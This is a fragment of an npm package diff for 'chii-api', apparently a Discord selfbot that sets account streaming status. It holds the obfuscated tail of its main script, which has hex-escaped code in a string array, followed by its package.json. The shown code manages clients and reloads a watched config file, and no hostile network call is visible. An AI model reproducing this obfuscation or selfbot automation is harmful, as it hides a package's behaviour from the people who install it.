0\x20\x20\x20return\x20{\x20BIGlargeIMAGE:\x20finallargeImage,\x20IMAGE_small:\x20finalSmallImage\x20};\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20updateConfig(newConfig)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.userConfig\x20=\x20newConfig;\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.index\x20=\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20clearInterval(this.statusInterval);\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.updateStatus();\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.statusInterval\x20=\x20setInterval(()\x20=>\x20this.updateStatus(),\x204000);\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20stop()\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20clearInterval(this.statusInterval);\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(this.medmwng.user)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20this.medmwng.user.setActivity(null);\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.medmwng.destroy();\x0a\x20\x20\x20\x20}\x0a}\x0alet\x20clients\x20=\x20config.user.map(userConfig\x20=>\x20new\x20MyClient(userConfig));\x0aconst\x20updateClients\x20=\x20newConfig\x20=>\x20{\x0a\x20\x20\x20\x20const\x20newClientIds\x20=\x20newConfig.user.map(user\x20=>\x20user.applicationId);\x0a\x20\x20\x20\x20clients.forEach(client\x20=>\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(!newClientIds.includes(client.userConfig.applicationId))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20client.stop();\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20console.log(`ผู้ใช้งาน\x20ApplicationId\x20หมายเลข\x20:\x20${client.userConfig.applicationId}\x20ถูกลบออกแล้ว!`);\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20});\x0a\x20\x20\x20\x20const\x20updatedClients\x20=\x20[];\x0a\x20\x20\x20\x20newConfig.user.forEach(userConfig\x20=>\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20existingClient\x20=\x20clients.find(client\x20=>\x20client.userConfig.applicationId\x20===\x20userConfig.applicationId);\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(existingClient)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20existingClient.updateConfig(userConfig);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20updatedClients.push(existingClient);\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x20else\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20newClient\x20=\x20new\x20MyClient(userConfig);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20updatedClients.push(newClient);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20console.log(`เพิ่มผู้ใช้งานใหม่\x20ApplicationId\x20หมายเลข\x20:\x20${userConfig.applicationId}\x20แล้ว!`);\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20});\x0a\x20\x20\x20\x20clients\x20=\x20updatedClients;\x0a};\x0alet\x20debounceTimeout;\x0afs.watch(config_path,\x20(eventType,\x20filename)\x20=>\x20{\x0a\x20\x20\x20\x20if\x20(eventType\x20===\x20\x27change\x27)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(debounceTimeout)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20clearTimeout(debounceTimeout);\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20debounceTimeout\x20=\x20setTimeout(()\x20=>\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20newConfig\x20=\x20JSON.parse(fs.readFileSync(config_path));\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20config\x20=\x20newConfig;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20updateClients(newConfig);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x20catch\x20(error)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20console.error(\x27เกิดข้อผิดพลาดในการอ่านไฟล์กำหนดค่าที่อัปเดต:\x27,\x20error.message);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20},\x20100);\x0a\x20\x20\x20\x20}\x0a});\x0a','12eQEcGq','2362451QDuwYE','rainbow','544927LMSbUf','35870PFSuCh','1305sepsjl','7BJFGdg','57LMCyuv','53786WYwWFX'];_0x5a74=function(){return _0x9a6be7;};return _0x5a74();}module[_0x16e4da(0x1eb)]=MedmwngCode;function _0xbcb9(_0x286613,_0x1af316){const _0x5a74d1=_0x5a74();return _0xbcb9=function(_0xbcb9d5,_0x1b9766){_0xbcb9d5=_0xbcb9d5-0x1df;let _0x2c80e9=_0x5a74d1[_0xbcb9d5];return _0x2c80e9;},_0xbcb9(_0x286613,_0x1af316);}const gradient=require(_0x16e4da(0x1ed));console[_0x16e4da(0x1df)](gradient[_0x16e4da(0x1e3)](_0x16e4da(0x1f1)));
package/package.json ADDED
@@ -0,0 +1,30 @@
1
+ {
2
+ "name": "chii-api",
3
+ "version": "1.0.6",
4
+ "description": "Streaming status for Discord accounts",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "node index.js"
8
+ },
9
+ "repository": {
10
+ "type": "git",
11
+ "url": "git+https://github.com/AD-CHII/"
12
+ },
13
+ "keywords": [
14
+ "Discord js",
15
+ "Streaming Discord"
16
+ ],
17
+ "author": "Devloper CHII",
18
+ "license": "ISC",
19
+ "bugs": {
20
+ "url": "https://github.com/AD-CHII/Medmwng-Discord"
21
+ },
22
+ "homepage": "https://github.com/AD-CHII/Medmwng-Discord#readme",
23
+ "dependencies": {
24
+ "discord.js-selfbot-v13": "^3.3.0",
25
+ "fs": "^0.0.1-security",
26
+ "os": "^0.1.2",
27
+ "path": "^0.12.7",
28
+ "gradient-string": "^2.0.2"
29
+ }
30
+ }